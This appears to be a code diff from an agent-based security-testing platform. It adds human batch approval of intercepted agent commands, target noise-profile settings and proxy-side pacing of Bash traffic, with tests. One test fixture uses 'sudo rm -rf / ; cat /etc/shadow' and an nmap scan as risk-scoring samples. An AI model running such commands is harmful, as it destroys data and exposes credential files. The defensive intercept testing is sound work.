"github.com/Autumn-27/artex/intercept"
|
||||
)
|
||||
|
||||
func TestInterceptBatchDecideHTTP(t *testing.T) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
t.Skip("no test database configured")
|
||||
}
|
||||
d, err := db.Open(dsn)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
m := &Manager{pg: d, interceptor: intercept.New(d)}
|
||||
s := &Server{m: m, jwtKey: []byte("approval-batch-decide-test-key")}
|
||||
h := s.Handler()
|
||||
token, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
scope := "approval-http-batch-decide"
|
||||
// A target request needs a numeric task scope; no foreign key ties it to tasks.
|
||||
targetTask := 900000000 + time.Now().UnixNano()%1000000
|
||||
t.Cleanup(func() {
|
||||
_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1 OR task_id=$2`, scope, strconv.FormatInt(targetTask, 10))
|
||||
})
|
||||
do := func(method, path, body string) *httptest.ResponseRecorder {
|
||||
req := httptest.NewRequest(method, path, strings.NewReader(body))
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
pending := func(cmd string) int64 {
|
||||
t.Helper()
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, "fixture")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return id
|
||||
}
|
||||
id1, id2, id3 := pending("ls"), pending("nmap -sV target.example"), pending("sudo rm -rf / ; cat /etc/shadow")
|
||||
|
||||
// The pending JSON keeps every historical field and adds risk.
|
||||
var historical map[string]any
|
||||
raw, _ := json.Marshal(db.InterceptPending{})
|
||||
_ = json.Unmarshal(raw, &historical)
|
||||
checkFields := func(where string, item map[string]any) {
|
||||
t.Helper()
|
||||
for key := range historical {
|
||||
if _, ok := item[key]; !ok {
|
||||
t.Errorf("%s: field %q missing from %v", where, key, item)
|
||||
}
|
||||
}
|
||||
risk, ok := item["risk"].(map[string]any)
|
||||
if !ok || risk["level"] == nil || risk["score"] == nil || risk["reasons"] == nil {
|
||||
t.Errorf("%s: risk = %v", where, item["risk"])
|
||||
}
|
||||
}
|
||||
var list struct {
|
||||
Pending []map[string]any `json:"pending"`
|
||||
}
|
||||
if r := do(http.MethodGet, "/api/intercept/pending", ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &list) != nil {
|
||||
t.Fatalf("list pending: %d %s", r.Code, r.Body.String())
|
||||
}
|
||||
levels := map[int64]string{}
|
||||
for _, item := range list.Pending {
|
||||
id := int64(item["id"].(float64))
|
||||
if id == id1 || id == id2 || id == id3 {
|
||||
checkFields("list", item)
|
||||
levels[id] = item["risk"].(map[string]any)["level"].(string)
|
||||
}
|
||||
}
|
||||
if levels[id1] != "low" || levels[id2] != "medium" || levels[id3] != "high" {
|
||||
t.Fatalf("risk levels = %v, want low/medium/high", levels)
|
||||
}
|
||||
var one map[string]any
|
||||
if r := do(http.MethodGet, fmt.Sprintf("/api/intercept/pending/%d", id3), ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &one) != nil {
|
||||
t.Fatalf("get pending: %d %s", r.Code, r.Body.String())
|
||||
}
|
||||
checkFields("get", one)
|
||||
|
||||
type result struct {
|
||||
ID int64 `json:"id"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
type batchResponse struct {
|
||||
Decided int `json:"decided"`
|
||||
Failed int `json:"failed"`
|
||||
Results []result `json:"results"`
|
||||
}
|
||||
batch := func(body string) batchResponse {
|
||||
t.Helper()
|
||||
r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body)
|
||||
var out batchResponse
|
||||
if r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &out) != nil {
|
||||
t.Fatalf("batch %s: %d %s", body, r.Code, r.Body.String())
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Duplicates are decided once.
|
||||
out := batch(fmt.Sprintf(`{"ids":[%d,%d,%d],"decision":"allowed"}`, id1, id2, id1))
|
||||
if out.Decided != 2 || out.Failed != 0 || len(out.Results) != 2 || out.Results[0] != (result{ID: id1, OK: true}) || out.Results[1] != (result{ID: id2, OK: true}) {
|
||||
t.Fatalf("allow batch = %+v", out)
|
||||
}
|
||||
// An already decided id fails alone; the rest of the batch is decided.
|
||||
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"denied"}`, id1, id3))
|
||||
if out.Decided != 1 || out.Failed != 1 || len(out.Results) != 2 ||
|
||||
out.Results[0].ID != id1 || out.Results[0].OK || !strings.Contains(out.Results[0].Error, "already") ||
|
||||
out.Results[1] != (result{ID: id3, OK: true}) {
|
||||
t.Fatalf("deny batch = %+v", out)
|
||||
}
|
||||
for id, want := range map[int64]string{id1: "allowed", id2: "allowed", id3: "denied"} {
|
||||
p, err := d.GetInterceptPending(id)
|
||||
if err != nil || p == nil || p.Status != want || p.DecidedBy != "human" || p.DecidedAt == nil {
|
||||
t.Fatalf("row %d = %+v err=%v, want %s by human with decided_at", id, p, err, want)
|
||||
}
|
||||
}
|
||||
|
||||
// A target request without an address cannot be approved: it fails and
|
||||
// stays pending, the other id in the batch is still approved.
|
||||
empty, created, err := d.FindOrCreateTargetRequest(db.TargetRequest{
|
||||
Scope: db.TargetScopeRef{TaskID: targetTask}, Host: "empty.example.com", Port: 443,
|
||||
ToolName: "WebFetch", ToolInput: []byte(`{"url":"https://empty.example.com/"}`), Reason: "test",
|
||||
Audit: &db.InterceptAudit{Targets: []db.InterceptTarget{{Host: "empty.example.com", Port: 443, Outcome: "requested"}}},
|
||||
})
|
||||
if err != nil || !created {
|
||||
t.Fatalf("open target request: id=%d created=%v err=%v", empty, created, err)
|
||||
}
|
||||
id4 := pending("echo ok")
|
||||
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"allowed"}`, empty, id4))
|
||||
if out.Decided != 1 || out.Failed != 1 || out.Results[0].OK || out.Results[0].Error != db.ErrTargetPinEmpty.Error() ||
|
||||
out.Results[1] != (result{ID: id4, OK: true}) {
|
||||
t.Fatalf("empty pin batch = %+v", out)
|
||||
}
|
||||
if p, err := d.GetInterceptPending(empty); err != nil || p == nil || p.Status != "pending" {
|
||||
t.Fatalf("refused target request = %+v err=%v, want pending", p, err)
|
||||
}
|
||||
|
||||
ids101 := make([]string, 101)
|
||||
for i := range ids101 {
|
||||
ids101[i] = strconv.Itoa(i + 1)
|
||||
}
|
||||
for _, body := range []string{
|
||||
`{"ids":[],"decision":"allowed"}`,
|
||||
`{"decision":"allowed"}`,
|
||||
`{"ids":[` + strings.Join(ids101, ",") + `],"decision":"allowed"}`,
|
||||
`{"ids":[0],"decision":"allowed"}`,
|
||||
`{"ids":[-3],"decision":"denied"}`,
|
||||
`{"ids":["7"],"decision":"allowed"}`,
|
||||
`{"ids":[1.5],"decision":"allowed"}`,
|
||||
fmt.Sprintf(`{"ids":[%d],"decision":"maybe"}`, id4),
|
||||
`not json`,
|
||||
} {
|
||||
if r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body); r.Code != 400 {
|
||||
t.Errorf("batch %s: status %d, want 400", body, r.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,7 @@ import (
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/config"
|
||||
pgdb "github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
"github.com/Autumn-27/artex/enrich"
|
||||
"github.com/Autumn-27/artex/guard"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
@@ -304,6 +305,9 @@ const (
|
||||
// when on, the four agent kinds wired into the platform (planner/worker/main
|
||||
// agent/chat) have context compaction taken over by noa, replacing the built-in compaction. Read once per run; toggling affects only runs started afterwards.
|
||||
settingNoaCompaction = "noa_compaction"
|
||||
// Target noise profile (off|quiet|balanced|aggressive). When stored it wins over
|
||||
// ARTEX_NOISE_PROFILE, which stays the fallback; applied at startup and on PUT.
|
||||
settingNoiseProfile = "noise_profile"
|
||||
// defaultWebSearchBackend is used when web search is on but no backend was picked.
|
||||
defaultWebSearchBackend = "ddgs"
|
||||
// deepSeekWebSearchBackend borrows the active LLM profile instead of its own
|
||||
@@ -401,6 +405,7 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
|
||||
pg.Close()
|
||||
return nil, fmt.Errorf("recover finding retests: %w", err)
|
||||
}
|
||||
egress.SetProfile(startupNoiseProfile(pg))
|
||||
if err := pg.EnsureLLMRecordsTable(); err != nil {
|
||||
log.Printf("[llmrec] create table: %v", err)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
)
|
||||
|
||||
// startupNoiseProfile is the noise profile to apply at startup: the stored
|
||||
// noise_profile setting when there is a valid one, else ARTEX_NOISE_PROFILE.
|
||||
func startupNoiseProfile(pg *db.DB) egress.Profile {
|
||||
v, ok, err := pg.GetSetting(settingNoiseProfile)
|
||||
if err != nil {
|
||||
log.Printf("[egress] read %s setting: %v; using ARTEX_NOISE_PROFILE", settingNoiseProfile, err)
|
||||
}
|
||||
if ok {
|
||||
if p, valid := egress.ProfileByName(v); valid {
|
||||
return p
|
||||
}
|
||||
log.Printf("[egress] stored %s=%q is not off, quiet, balanced or aggressive; using ARTEX_NOISE_PROFILE", settingNoiseProfile, v)
|
||||
}
|
||||
return egress.ProfileFromEnv()
|
||||
}
|
||||
|
||||
// noiseStatus returns the current noise profile and the per-host counters of
|
||||
// its governor, read without starting a new minute.
|
||||
func (s *Server) noiseStatus(w http.ResponseWriter, r *http.Request) {
|
||||
g := egress.Current()
|
||||
writeJSON(w, 200, map[string]any{"profile": g.Profile().Name, "hosts": g.Snapshot()})
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
)
|
||||
|
||||
func TestNoiseProfileSettingHTTP(t *testing.T) {
|
||||
skipWithoutDSN(t)
|
||||
prev := egress.CurrentProfile()
|
||||
t.Cleanup(func() { egress.SetProfile(prev) })
|
||||
t.Setenv("ARTEX_NOISE_PROFILE", "quiet")
|
||||
t.Setenv("ARTEX_TARGET_USER_AGENT", "artex-noise-test/1")
|
||||
|
||||
m, err := NewManager(t.TempDir(), "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer m.Close()
|
||||
clear := func() {
|
||||
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key=$1`, settingNoiseProfile); err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
}
|
||||
clear()
|
||||
defer clear() // before m.Close
|
||||
|
||||
// Precedence: no setting -> env; a valid setting wins; an invalid one falls back to env.
|
||||
if p := startupNoiseProfile(m.pg); p.Name != "quiet" {
|
||||
t.Fatalf("no setting: %q, want env quiet", p.Name)
|
||||
}
|
||||
if err := m.pg.SetSetting(settingNoiseProfile, "balanced"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
m2, err := NewManager(t.TempDir(), "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
m2.Close()
|
||||
if p := egress.CurrentProfile(); p.Name != "balanced" || p.UserAgent != "artex-noise-test/1" {
|
||||
t.Fatalf("NewManager with setting balanced applied %+v", p)
|
||||
}
|
||||
if err := m.pg.SetSetting(settingNoiseProfile, "loud"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p := startupNoiseProfile(m.pg); p.Name != "quiet" {
|
||||
t.Fatalf("invalid setting: %q, want env quiet", p.Name)
|
||||
}
|
||||
if err := m.pg.SetSetting(settingNoiseProfile, "balanced"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
|
||||
defer stopTestServer(t, s, cancel)
|
||||
token, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
do := func(method, path, body string) (int, map[string]any) {
|
||||
t.Helper()
|
||||
req := httptest.NewRequest(method, path, strings.NewReader(body))
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
rec := httptest.NewRecorder()
|
||||
s.Handler().ServeHTTP(rec, req)
|
||||
var out map[string]any
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &out)
|
||||
return rec.Code, out
|
||||
}
|
||||
egress.SetProfile(egress.Profiles["balanced"])
|
||||
if code, out := do(http.MethodGet, "/api/settings", ""); code != 200 || out["noise_profile"] != "balanced" {
|
||||
t.Fatalf("GET settings: %d noise_profile=%v", code, out["noise_profile"])
|
||||
}
|
||||
if code, out := do(http.MethodPut, "/api/settings", `{"noise_profile":"Aggressive"}`); code != 200 || out["noise_profile"] != "aggressive" {
|
||||
t.Fatalf("PUT aggressive: %d noise_profile=%v", code, out["noise_profile"])
|
||||
}
|
||||
if v, _, _ := m.pg.GetSetting(settingNoiseProfile); v != "aggressive" || egress.CurrentProfile().Name != "aggressive" {
|
||||
t.Fatalf("after PUT: stored %q, current %q", v, egress.CurrentProfile().Name)
|
||||
}
|
||||
for _, bad := range []string{`{"noise_profile":"loud"}`, `{"noise_profile":""}`, `{"noise_profile":1}`} {
|
||||
if code, _ := do(http.MethodPut, "/api/settings", bad); code != 400 {
|
||||
t.Errorf("PUT %s: %d, want 400", bad, code)
|
||||
}
|
||||
}
|
||||
if code, out := do(http.MethodPut, "/api/settings", `{"noise_profile":null}`); code != 200 || out["noise_profile"] != "aggressive" {
|
||||
t.Fatalf("PUT null: %d noise_profile=%v, want unchanged", code, out["noise_profile"])
|
||||
}
|
||||
if v, _, _ := m.pg.GetSetting(settingNoiseProfile); v != "aggressive" || egress.CurrentProfile().Name != "aggressive" {
|
||||
t.Fatalf("after invalid and null PUTs: stored %q, current %q", v, egress.CurrentProfile().Name)
|
||||
}
|
||||
|
||||
// The noise endpoint reads the current governor's counters.
|
||||
target := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {}))
|
||||
defer target.Close()
|
||||
req, _ := http.NewRequest(http.MethodGet, target.URL, nil)
|
||||
resp, err := egress.Current().Transport("noise-test", nil).RoundTrip(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
code, out := do(http.MethodGet, "/api/settings/noise", "")
|
||||
hosts, _ := out["hosts"].([]any)
|
||||
if code != 200 || out["profile"] != "aggressive" || len(hosts) != 1 {
|
||||
t.Fatalf("GET noise: %d %v", code, out)
|
||||
}
|
||||
host, _ := hosts[0].(map[string]any)
|
||||
for _, key := range []string{"host", "rpm", "peak_rpm", "peak_inflight", "inflight", "duplicates_avoided"} {
|
||||
if _, ok := host[key]; !ok {
|
||||
t.Errorf("noise host misses %q: %v", key, host)
|
||||
}
|
||||
}
|
||||
if host["host"] != strings.TrimPrefix(target.URL, "http://") || host["rpm"] != float64(1) || host["inflight"] != float64(0) {
|
||||
t.Fatalf("noise host = %v", host)
|
||||
}
|
||||
// A second read does not reset the minute.
|
||||
if _, again := do(http.MethodGet, "/api/settings/noise", ""); again["hosts"].([]any)[0].(map[string]any)["rpm"] != float64(1) {
|
||||
t.Fatalf("second GET noise reset the counter: %v", again)
|
||||
}
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
"github.com/Autumn-27/artex/llmpool"
|
||||
"github.com/Autumn-27/artex/llmrec"
|
||||
@@ -833,6 +834,7 @@ func (s *Server) Handler() http.Handler {
|
||||
mux.HandleFunc("GET /api/llm/records/{id}", s.pgGetLLMRecord)
|
||||
mux.HandleFunc("GET /api/settings", s.getSettings)
|
||||
mux.HandleFunc("PUT /api/settings", s.putSettings)
|
||||
mux.HandleFunc("GET /api/settings/noise", s.noiseStatus) // current noise profile + per-host counters (no reset)
|
||||
// Vulnerability IM push. Channels are "multi-instance + per-instance filter rules" resources, so they get their own group of
|
||||
// REST endpoints instead of being stuffed into the flat /api/settings key-value store.
|
||||
mux.HandleFunc("GET /api/notify/meta", s.notifyMeta)
|
||||
@@ -958,6 +960,7 @@ func (s *Server) Handler() http.Handler {
|
||||
mux.HandleFunc("GET /api/intercept/pending", s.interceptListPending)
|
||||
mux.HandleFunc("GET /api/intercept/pending/{id}", s.interceptGetOne)
|
||||
mux.HandleFunc("POST /api/intercept/pending/{id}/decide", s.interceptDecide)
|
||||
mux.HandleFunc("POST /api/intercept/pending/batch-decide", s.interceptBatchDecide)
|
||||
mux.HandleFunc("POST /api/intercept/pending/{id}/always-allow", s.interceptAlwaysAllow) // creates an argv allow rule; the request stays pending
|
||||
mux.HandleFunc("GET /api/intercept/history", s.interceptHistory)
|
||||
mux.HandleFunc("GET /api/intercept/history/{id}", s.interceptDetail)
|
||||
@@ -3527,6 +3530,8 @@ func (s *Server) settingsPayload() map[string]any {
|
||||
// Render limits of IM messages; 0 = no truncation.
|
||||
"notify_summary_max_runes": limits.SummaryRunes,
|
||||
"notify_assets_max_shown": limits.AssetsShown,
|
||||
// Effective target noise profile (off by default): the stored setting, else ARTEX_NOISE_PROFILE.
|
||||
"noise_profile": egress.CurrentProfile().Name,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3602,11 +3607,27 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) {
|
||||
// Render limits of IM messages: summary characters (0-4000) and asset names listed (0-50); 0 = no truncation.
|
||||
NotifySummaryMaxRunes *int `json:"notify_summary_max_runes"`
|
||||
NotifyAssetsMaxShown *int `json:"notify_assets_max_shown"`
|
||||
// Target noise profile: off|quiet|balanced|aggressive; null = unchanged. Applies to the next request, no agent rebuild.
|
||||
NoiseProfile *string `json:"noise_profile"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
// Validated before any other field is written, so a bad value changes nothing.
|
||||
var noise egress.Profile
|
||||
if req.NoiseProfile != nil {
|
||||
var ok bool
|
||||
if noise, ok = egress.ProfileByName(*req.NoiseProfile); !ok {
|
||||
writeErr(w, 400, "noise_profile must be off, quiet, balanced or aggressive")
|
||||
return
|
||||
}
|
||||
if err := s.m.pg.SetSetting(settingNoiseProfile, noise.Name); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
egress.SetProfile(noise)
|
||||
}
|
||||
// A masked placeholder echoed back keeps the stored secret, like null.
|
||||
req.BraveKey, req.TavilyKey = keepIfMasked(req.BraveKey), keepIfMasked(req.TavilyKey)
|
||||
req.WebSearchProxy, req.GlobalProxy = keepIfMasked(req.WebSearchProxy), keepIfMasked(req.GlobalProxy)
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
package traffic
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
|
||||
)
|
||||
|
||||
// paceWaitMax bounds the pacing wait of one request. Past it the request is
|
||||
// sent unpaced: pacing never blocks a command indefinitely.
|
||||
const paceWaitMax = 30 * time.Second
|
||||
|
||||
// Requestheaders runs for every request the proxy sees: the CONNECT that opens
|
||||
// a tunnel, each request inside an intercepted tunnel, and each plain-HTTP
|
||||
// request. The recording proxy takes no credentials, so a Proxy-Authorization
|
||||
// header is only ever meant for it (clients send the proxy URL's userinfo
|
||||
// there): it is dropped here, before anything is forwarded, and never reaches
|
||||
// the target or the recording. When it carries the pace marker
|
||||
// (egress.PaceUser), the client connection is marked; every request on it,
|
||||
// including those inside its tunnel, is then paced by the current noise
|
||||
// profile before it goes upstream. Unmarked connections are not paced here.
|
||||
func (s *sink) Requestheaders(f *mproxy.Flow) {
|
||||
if f.Request == nil || f.ConnContext == nil || f.ConnContext.ClientConn == nil {
|
||||
return
|
||||
}
|
||||
id := f.ConnContext.ClientConn.Id
|
||||
if egress.IsPaceMarker(f.Request.Header.Get("Proxy-Authorization")) {
|
||||
s.paced.Store(id, struct{}{})
|
||||
}
|
||||
f.Request.Header.Del("Proxy-Authorization")
|
||||
if f.Request.Method == http.MethodConnect || f.Request.URL == nil {
|
||||
return
|
||||
}
|
||||
if _, marked := s.paced.Load(id); marked {
|
||||
pace(f)
|
||||
}
|
||||
}
|
||||
|
||||
// ClientDisconnected forgets a closed connection's mark.
|
||||
func (s *sink) ClientDisconnected(c *mproxy.ClientConn) {
|
||||
if c != nil {
|
||||
s.paced.Delete(c.Id)
|
||||
}
|
||||
}
|
||||
|
||||
// pace waits for the request's host under the current noise profile, bounded
|
||||
// by paceWaitMax and by the request's own context. Off returns at once.
|
||||
func pace(f *mproxy.Flow) {
|
||||
ctx := context.Background()
|
||||
if raw := f.Request.Raw(); raw != nil {
|
||||
ctx = raw.Context()
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(ctx, paceWaitMax)
|
||||
defer cancel()
|
||||
host := egress.HostKey(f.Request.URL)
|
||||
if err := egress.Wait(ctx, host); err != nil {
|
||||
log.Printf("[traffic] pacing a Bash request to %s stopped waiting (%v); sending it unpaced", host, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
package traffic
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
|
||||
)
|
||||
|
||||
// startProxy runs a real recording proxy on a free loopback port and returns it
|
||||
// with its sink and URL. extra addons run after the recording sink.
|
||||
func startProxy(t *testing.T, extra ...mproxy.Addon) (*Traffic, *sink, string) {
|
||||
t.Helper()
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
addr := ln.Addr().String()
|
||||
ln.Close()
|
||||
tr, err := Open(t.TempDir(), addr)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := tr.proxy.Addons[0].(*sink)
|
||||
for _, a := range extra {
|
||||
tr.proxy.AddAddon(a)
|
||||
}
|
||||
go func() { _ = tr.Start() }()
|
||||
t.Cleanup(func() {
|
||||
_ = tr.proxy.Close()
|
||||
_ = tr.Close()
|
||||
})
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
c, err := net.Dial("tcp", addr)
|
||||
if err == nil {
|
||||
c.Close()
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("proxy did not listen on %s: %v", addr, err)
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
return tr, s, "http://" + addr
|
||||
}
|
||||
|
||||
// proxyClient is a curl-like client: it sends the proxy URL's userinfo as
|
||||
// Proxy-Authorization on CONNECT and on plain-HTTP requests, and trusts the CA.
|
||||
func proxyClient(t *testing.T, tr *Traffic, proxyURL string) *http.Client {
|
||||
t.Helper()
|
||||
pem, err := os.ReadFile(tr.CACertPath())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pool := x509.NewCertPool()
|
||||
if !pool.AppendCertsFromPEM(pem) {
|
||||
t.Fatal("no CA in", tr.CACertPath())
|
||||
}
|
||||
u, _ := url.Parse(proxyURL)
|
||||
return &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(u), TLSClientConfig: &tls.Config{RootCAs: pool}}}
|
||||
}
|
||||
|
||||
// probe records the ClientConn of each request the proxy sees, after the sink.
|
||||
type probe struct {
|
||||
mproxy.BaseAddon
|
||||
mu sync.Mutex
|
||||
conn map[string]string // "METHOD url" -> ClientConn.Id
|
||||
}
|
||||
|
||||
func (p *probe) Requestheaders(f *mproxy.Flow) {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
if p.conn == nil {
|
||||
p.conn = map[string]string{}
|
||||
}
|
||||
p.conn[f.Request.Method+" "+f.Request.URL.String()] = f.ConnContext.ClientConn.Id.String()
|
||||
}
|
||||
|
||||
func get(t *testing.T, c *http.Client, u string) {
|
||||
t.Helper()
|
||||
resp, err := c.Get(u)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, _ = io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != 200 {
|
||||
t.Fatalf("GET %s: %d", u, resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func markedCount(s *sink) int {
|
||||
n := 0
|
||||
s.paced.Range(func(any, any) bool { n++; return true })
|
||||
return n
|
||||
}
|
||||
|
||||
func hostRPM(host string) int {
|
||||
for _, h := range egress.Current().Snapshot() {
|
||||
if h.Host == host {
|
||||
return h.RPM
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// A marked client (the Bash proxy URL) is paced and counted, through a CONNECT
|
||||
// tunnel and on plain HTTP; an unmarked one (WebFetch, custom tools, enrich)
|
||||
// is not paced here. No Proxy-Authorization reaches a target or the recording,
|
||||
// every exchange is recorded, and a closed connection loses its mark.
|
||||
func TestBashPacingThroughProxy(t *testing.T) {
|
||||
prev := egress.CurrentProfile()
|
||||
t.Cleanup(func() { egress.SetProfile(prev) })
|
||||
// 2 req/s, burst 1, no jitter: from the second request on, each waits 500 ms.
|
||||
egress.SetProfile(egress.Profile{Name: "test", RPS: 2, Burst: 1, MaxPerHost: 1, MaxGlobal: 8})
|
||||
|
||||
var mu sync.Mutex
|
||||
leaked := map[string]string{}
|
||||
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if v := r.Header.Get("Proxy-Authorization"); v != "" {
|
||||
mu.Lock()
|
||||
leaked[r.URL.Path] = v
|
||||
mu.Unlock()
|
||||
}
|
||||
_, _ = io.WriteString(w, "ok")
|
||||
})
|
||||
marked := httptest.NewServer(handler)
|
||||
defer marked.Close()
|
||||
unmarked := httptest.NewServer(handler)
|
||||
defer unmarked.Close()
|
||||
tlsSrv := httptest.NewTLSServer(handler)
|
||||
defer tlsSrv.Close()
|
||||
// The MITM leaf for a bare IP has no IP SAN: address the TLS target by name.
|
||||
tlsURL := strings.Replace(tlsSrv.URL, "127.0.0.1", "localhost", 1)
|
||||
|
||||
p := &probe{}
|
||||
tr, s, proxyURL := startProxy(t, p)
|
||||
bash := proxyClient(t, tr, egress.MarkProxyURL(proxyURL))
|
||||
plain := proxyClient(t, tr, proxyURL)
|
||||
|
||||
start := time.Now()
|
||||
for range 3 {
|
||||
get(t, bash, marked.URL+"/bash")
|
||||
}
|
||||
if d := time.Since(start); d < 900*time.Millisecond {
|
||||
t.Fatalf("3 marked requests to one host took %v, want >= 1s of pacing", d)
|
||||
}
|
||||
if n := hostRPM(strings.TrimPrefix(marked.URL, "http://")); n != 3 {
|
||||
t.Fatalf("egress counter for the marked host = %d, want 3", n)
|
||||
}
|
||||
for range 3 {
|
||||
get(t, plain, unmarked.URL+"/plain")
|
||||
}
|
||||
if n := hostRPM(strings.TrimPrefix(unmarked.URL, "http://")); n != 0 {
|
||||
t.Fatalf("unmarked requests were paced by the proxy: counter %d, want 0", n)
|
||||
}
|
||||
get(t, bash, tlsURL+"/tls1")
|
||||
get(t, bash, tlsURL+"/tls2")
|
||||
tlsHost := strings.TrimPrefix(tlsURL, "https://")
|
||||
if n := hostRPM(tlsHost); n != 2 {
|
||||
t.Fatalf("egress counter for the tunnelled host = %d, want 2", n)
|
||||
}
|
||||
|
||||
p.mu.Lock()
|
||||
connectID := p.conn["CONNECT //"+tlsHost]
|
||||
inner1, inner2 := p.conn["GET "+tlsURL+"/tls1"], p.conn["GET "+tlsURL+"/tls2"]
|
||||
p.mu.Unlock()
|
||||
if connectID == "" || inner1 != connectID || inner2 != connectID {
|
||||
t.Fatalf("tunnel flows do not share the CONNECT's connection: connect=%q inner=%q,%q", connectID, inner1, inner2)
|
||||
}
|
||||
mu.Lock()
|
||||
if len(leaked) != 0 {
|
||||
t.Fatalf("Proxy-Authorization reached the target: %v", leaked)
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
rows, err := tr.Search("", 0, 100)
|
||||
if err != nil || len(rows) != 8 {
|
||||
t.Fatalf("recorded %d exchanges (err %v), want 8", len(rows), err)
|
||||
}
|
||||
for _, r := range rows {
|
||||
req, _, err := tr.Get(r.ID)
|
||||
if err != nil || strings.Contains(strings.ToLower(req), "proxy-authorization") {
|
||||
t.Fatalf("recorded request %s keeps Proxy-Authorization (err %v):\n%s", r.ID, err, req)
|
||||
}
|
||||
}
|
||||
|
||||
if markedCount(s) == 0 {
|
||||
t.Fatal("no connection marked")
|
||||
}
|
||||
bash.CloseIdleConnections()
|
||||
